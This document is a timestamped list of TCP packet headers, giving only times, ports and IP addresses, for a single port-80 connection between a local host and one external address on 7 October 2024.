Oct 7, 2024 21:19:16.427997112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427998066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428117990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428148031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428179026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428179026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428206921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428224087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428256989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428256989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428278923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428313017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428344011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428344011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428348064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428383112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428474903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428586960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428618908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428618908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428620100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428654909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428689957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428724051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428755045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428755045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.428788900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428822041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.428906918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.429049015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429088116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.429127932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429177999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429208994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.429208994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.429210901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429245949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429279089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429311991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.429342031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.429342031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.436007023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.517891884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.517919064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.517936945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.520039082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.552083015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552139997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552174091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552208900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552323103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.552323103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.552629948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552685022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552717924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552771091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.552845001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552879095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552898884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.552912951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.552970886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553337097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553390026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553423882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553483009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553546906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553580046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553612947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553612947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553647995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553653955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553728104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553778887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553811073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553885937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553898096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553932905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.553956985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.553970098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554008007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.554012060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554044962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554079056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554092884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.554122925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.554172993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554205894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554241896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554286003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.554313898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554347038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.554406881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.555403948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.642371893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.642425060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.642462969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.642462015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.642524004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.642524004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.676872015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.676918983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.676935911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.676953077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.676970005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677011013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677210093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677364111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677381992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677474976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677479029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677495956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677551031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677551031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677592993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677608013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677623987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677640915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677669048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677711964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677717924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677793980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677845955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677860975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677902937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677954912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.677956104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.677994013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678036928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678052902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678067923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678106070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678121090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678121090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678174973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678190947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678216934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678220034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678237915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678255081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678257942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678370953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678370953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.678622007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678697109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678713083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.678978920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.679055929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.679073095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.679131985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.679131985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.766971111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.767021894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.767057896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.767066002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.767116070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.768794060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801258087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801294088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801310062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801321983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801326990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801347017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801352024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801383972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801747084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801814079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801929951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801932096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.801984072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.801990032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802021980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802063942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802063942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802073956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802109003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802144051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802150011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802150011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802179098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802216053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802217007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802248955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802285910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802285910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802344084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802346945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802438974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802440882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802474976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802515984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802515984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802553892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802587032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802620888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802635908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802635908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802685022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802736044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802736044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802736998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802771091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802810907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802810907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802865028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802897930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802932978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802932024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.802973986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.802988052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803129911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803181887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803195953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803214073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803251028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803282022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803282022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803303003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803313971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803340912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803373098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.803396940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803396940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.803430080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.891268969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.891293049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.891326904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.891405106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926000118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926074982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926112890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926125050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926125050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926146984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926173925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926182985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926196098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926223993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926270008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926270008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926564932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926615000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926621914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926712990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926728010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926762104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926765919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926800966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926836014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.926845074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926845074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926912069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.926981926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927016973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927061081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927061081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927151918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927262068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927283049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927313089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927345037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927354097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927354097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927380085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927409887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927428007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927432060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927468061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927511930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927511930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927520037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927556992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927601099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927601099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927793980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927845001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927850008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927881002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927916050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927920103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.927969933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927969933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.927978039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928009987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928028107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928042889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928076982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928086996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928086996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928112030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928132057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928145885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928179026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928194046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928194046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928215027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928256035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928256035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.928280115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.928347111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.015636921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.015692949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.015706062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.015746117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050263882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050390959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050394058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050445080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050446033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050482035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050493002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050514936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050527096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050549984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.050560951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.050597906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051074028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051130056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051134109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051167011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051179886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051229000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051254034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051286936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051300049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051321030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051331997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051361084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051363945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051404953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051426888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051460981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:17.051471949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:17.051497936 CEST	80	49730	185.215.113.37	192.168.2.4
